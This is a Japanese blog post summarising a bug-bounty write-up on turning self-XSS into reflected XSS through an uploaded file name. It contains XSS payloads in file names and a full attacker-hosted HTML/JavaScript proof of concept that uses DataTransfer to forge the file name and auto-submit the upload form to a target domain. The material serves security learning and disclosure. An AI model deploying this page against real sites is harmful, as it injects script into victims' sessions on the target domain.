Shikata Ga Nai

Private? There is no such things.

Self-XSS to rXSS via Uploaded File Nameをよんでみた

Hello there, ('ω')ノ

 

アップロードされたファイル名を介したSelf-XSSからrXSSを。

 

記事:

https://enfinlay.github.io//xss/selfxss/upload/bugbounty/2021/02/09/selfxss-to-rxss-via-file-name.html

 

リフレクトされたXSSにエスカレートできるセルフXSSを見つけた。

 

アップロードページには、次のようなコードが含まれていた。

 

<html>
  <body>
    <form enctype="multipart/form-data" action="upload" method="POST">
      Upload file<input name="theFile" type="file">
      <input type="submit" value="Upload file now">
    </form>
  </body>
</html>

 

フォームをPOSTすると、アップロードされたファイル名表示された。

RCE_Please.phpをアップロードした場合。

「RCE_Please.phpをアップロードしていただきありがとうございます」と表示。

<script>alert(document.domain)</script>というファイルをアップロード。

 

リフレクトXSSへのエスカレーション:

Javascriptを使用して、フォームの内容とアップロードされたファイルの名前を設定。

入力のファイル配列の変更にはブラウザレベルの保護があるため簡単ではない。

これらの保護により、攻撃者は被害者のコンピュータから。

任意のファイルをアップロードできなくなる。

HTMLでデフォルトを設定することもできない。

グーグル検索後、DataTransferオブジェクトを紹介するStackOverflowの回答を発見。

 

これは、攻撃者がホストする可能性のある悪意のあるHTML / JSであるため。

被害者がそこに移動すると、rXSSがターゲットドメインで起動する。

 

<html>
  <body>
    <form id="theForm" enctype="multipart/form-data" action="https://target.domain/upload" method="POST">
      <input id="theInput" name="theFile" type="file">
      <input type="submit" value="Upload file now">
    </form>
    <script>
      setTimeout(() => {
        const f = document.getElementById("theForm");
        const i = document.getElementById("theInput");
        const dt = new DataTransfer()
        const files = [
          new File(['content'], 'maliciousfilename.txt<img src=x onerror=alert(document.domain)>')
        ];

        files.forEach(f => dt.items.add(f));
        i.files = dt.files;

        f.submit();
      }, 1000);
    </script>
  </body>
  </html>

 

setTimeoutがあるので、トリアージはリダイレクトされる前に。

攻撃者のページを見ることができる。

 

Best regards, (^^ゞ